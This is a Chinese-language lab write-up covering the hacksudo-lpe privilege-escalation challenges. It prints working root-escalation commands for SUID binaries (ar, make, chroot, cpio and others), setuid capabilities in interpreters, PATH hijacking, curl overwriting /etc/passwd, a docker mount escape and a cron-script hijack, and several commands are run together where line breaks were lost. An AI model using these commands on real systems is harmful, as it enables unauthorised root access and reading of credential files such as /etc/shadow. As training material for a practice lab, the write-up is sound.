前言
靶场:hacksudo-lpe的后几个challenge
基于上篇靶场hacksudo-ple的sudo提权
SUID文件提权
ar文件提权
使用find寻找具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null

查看ar的SUID用法

sudo install -m =xs $(which ar) .TF=$(mktemp -u)
LFILE="/etc/shadow"
./ar r "$TF" "$LFILE"
cat "$TF"
可以看到用法是越权查看文件

sh提权
这个文件名可能不一样,但是性质是一样的,也就是名称不同。
使用find寻找具有SUID权限文件
find / -perm -4000 -exec ls -al {} \; 2>/dev/null

因为是可执行文件,使用strings查看,因为内容太多,这里我是先直接执行,发现另起一个shell终端,并且还是当前用户的终端,所以,猜测是执行sh

./bash -p
所以直接使用即可

切换用户提权
使用find寻找具有SUID权限文件
find / -perm -4000 -print 2>/dev/null

因为知道密码,所以直接替换后,使用上一个进行提取即可

base32
使用find寻找具有SUID权限文件
find / -perm -u=s -type f 2>/dev/null

测试发现是base32,那么就可以直接进行越权读取

bash提取
使用find寻找
find / -perm -4000 -user root -exec ls -al {} \; 2>/dev/null

查看文件类型,属于可执行文件,尝试查看帮助,发现是命令bash本身

使用bash -p即可提取

cat提取
使用find寻找具有SUID权限文件
find / -perm -4000 -print 2>/dev/null

查看文件类型,发现是可执行文件,并且查看帮助,确定为cat命令

那么直接使用查看,越权查看文件

chmod提取
使用find寻找具有SUID权限文件
find / -perm -u=s -type f 2>/dev/null

查看文件类型,发现是可执行文件,并且测试帮助,确定为chmod命令

那么修改文件为其他人可读可写可执行即可,不过注意,修改时,有时父目录也是有权限限制的,这个别忘了修改

chroot提取
使用find寻找具有SUID权限文件
find / -perm -4000 -user root -print 2>/dev/null

查看文件类型,为可执行文件,并且查看帮助,确定是命令chroot

./chroot / /bin/sh -p
#即可提取

cp提取
使用find寻找具有SUID权限文件
find / -perm -u=s -type f 2>/dev/null

查看文件类型为可执行文件,并查看帮助,确定为cp命令

与之前使用sudo的cp进行提取用法差不多

三种方法,复制并读取,复制写入,第三种记录一下,之前并没碰到
LFILE="/etc/shadow"
./cp --attributes-only --preserve=all ./cp "$LFILE"

CPUlimit提取
使用find寻找具有SUID权限的文件
find / -perm -4000 -user root -print 2>/dev/null

查看文件类型为可执行文件,并且确定命令为CPUlimit

查看使用方法

./cpulimit -l 100 -f -- /bin/sh -p

cut提取
使用find寻找具有SUID权限文件
find / -perm -u=s -type f 2>/dev/null

查看文件类型为可执行文件,并查看帮助,确定为命令cut

用法与使用sudo提取时一样
LFILE="/etc/shadow"
./cut -d "" -f1 "$LFILE"

sh提取
使用find寻找具有SUID权限文件
find / -perm -4000 -exec ls -al {} \; 2>/dev/null

查看文件类型为可执行文件,并且测试发现是sh,直接使用sh -p提取即可

date提取
使用find寻找具有SUID权限文件
find / -perm -4000 -print 2>/dev/null

查看文件类型为可执行文件,查看帮助确定为命令date

用法与具有sudo权限是一样的
date -f "/etc/shadow"

make提取
使用find寻找具有SUID权限文件
find / -perm -4000 -print 2>/dev/null

查看文件类型为可执行文件,并且测试,大概率为make命令

用法

COMMAND='/bin/sh -p'
./make -s --eval=$'x:\n\t-'"$COMMAND"

脚本语言Capabilities 提权
gdb语言
使用find命令寻找对于其他用户也是可以执行gdb的文件
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null
查看用法,可以看到是查看是否具有ep权限的,可以使用getcap查看,这里getcap环境变量问题,可以先找到其位置,xargs就是把前面的输出作为getcap的目标


./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

node语言
使用find寻找
find / -name "getcap" 2>/dev/null
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

cp $(which node) .
sudo setcap cap_setuid+ep node./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
测试,发现无权限使用setcap,那就无法修改,无法提取,只能到此
perl语言
之前确认了getcap的命令位置,以及可使用,所以,直接搜索
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

cp $(which perl) .
sudo setcap cap_setuid+ep perl./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
这里因为在当前用户目录下,有权限,并且满足条件。所以可以到目录下直接使用

php语言
使用find寻找
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

cp $(which php) .
sudo setcap cap_setuid+ep phpCMD="/bin/sh"
./php -r "posix_setuid(0); system('$CMD');"
进行提取

python语言
使用find寻找
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

cp $(which python) .
sudo setcap cap_setuid+ep python./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

ruby语言
使用find寻找
find / -type f -executable 2>/dev/null | xargs /bin/sbin/getcap -r 2>/dev/null

查看用法

cp $(which ruby) .
sudo setcap cap_setuid+ep ruby./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

python3语言
使用find寻找
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法
cp $(which python) .
sudo setcap cap_setuid+ep python./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
与python2是一样的,都是python语言,只是版本不同

环境变量提权
apt-get临时变量
使用find寻找具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null

不过测试,发现应该是调用apt-get,为什么呢,因为不管传参是什么都不会被接收,说明该文件本身不是apt,而是调用的
既然是调用,那么就可以考虑环境变量,利用export设置临时变量,并且是具有优先权的,这个最好是在/tmp目录下新建apt-get,因为这是权限允许范围内的。
然后把文件给予执行权限,执行shell时,就会提权成功

ftp临时变量
使用find寻找具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null

测试文件发现,涉及到ftp,并且并不是ftp命令,参数无法接收,也就是其调用了ftp,那么尝试设置临时变量来覆盖,与上面一样,最好是在/tmp目录进行

可写文件滥用提权
利用curl
使用find寻找具有SUID权限的文件,不过这里找到的是curl
find - perm -u=s -type f 2>/dev/null

在上一篇的sudo提权文章中,个人以为只能下载,后又研究一下 ,发现不止是http协议,也是可以利用file协议与curl配合,所以就可以进行读取本地文件或写入本地文件
【curl写入】
LFILE=file_to_write
TF=$(mktemp)
echo DATA >$TF
curl "file://$TF" -o "$LFILE"【curl读取】
LFILE=/tmp/file_to_read
curl file://$LFILE
复制/etc/passwd文件,然后修改这个复制id文件,再通过curl重新覆盖原本的/etc/passwd文件

使用su命令切换到自己本身的用户,因为知道自己本身的密码

利用具有SUID的py文件
使用find寻找具有SUID权限文件
find /-perm -4000 -print 2>/dev/null

可以看到这个python文件,具有SUID权限,但是不能直接写入,因为其所属者和所属组都是root,且其他人无写入权限,不过这里导入两个包os和sys,寻找这两个包,看其权限,发现并未有权限
find / -name "os.py" -exec ls -l {} \; 2>/dev/null
寻找导入模块os.py位置以及权限,是否可写

但是发现寻找sys.py,确没有这个文件,那么能否自己写这个包呢,进行测试,也是无权限写入
这就不知道该怎么提权了,又不能写入
可读文件滥用提权
cpio提权
使用find寻找具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null

测试发现,本身就是命令cpio,查看用法,发现该命令可进行读、写等操作
链接https://gtfobins.github.io/gtfobins/cpio/#suid
【读文件内容】
LFILE="/root/root.txt"
TF=$(mktemp -d)
echo "$LFILE" | ./cpio -R $UID -dp $TF
cat "$TF/$LFILE"或者
echo "/root/root.txt" | cpio -o


git提权
使用find寻找具有SUID权限的文件
find / -perm -4000 -print 2>/dev/null

查看其用法,可用的操作很多,尤其是具有SUID权限
链接https://gtfobins.github.io/gtfobins/git/#limited-suid
【读取文件内容】
./git diff /dev/null /root/root.txt

测试获取shell,发现不行,当前只能读取文件内容
docker提权
当使用find等搜索无发现时,查看id发现,当前用户处于docker,不过docker中并无任何镜像

在进行docker逃逸时,常用的镜像就是alpine
因为docker默认源是在国外,并且大部分的docker源可能都失效,所以这里在kali中先下载镜像,然后导出,再使用靶机下载

靶机导入

查看用法,大致都是这一种
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

通配符滥用
这里其实就需要构造条件来满足,但是这里并无条件,需要自己使用root先创建条件,这里可以看参考链接学习https://www.freebuf.com/articles/system/176255.html
crontab定时提权
使用find寻找具有SUID权限用户发现暂无,使用find寻找capabilities的特权文件,发现暂无。
查看定时任务,一般使用crontab可查看文件/etc/crontab
发现定时任务,每一分钟执行这个python文件

这个文件可以写入,查看文件内容

那么自己写入一个唤起bash终端,因为所有者是root,所以导致提权成功
当然,这是需要等待一分钟的时间,也就是当定时任务执行的时候

总结
通过该挑战可以学习到各种方式的提权,并且是不依赖漏洞的。
大部分基于SUID和sudo进行提权的
以及一个环境变量和capabilities的权限
对于一些文件的修改,而可以间接提权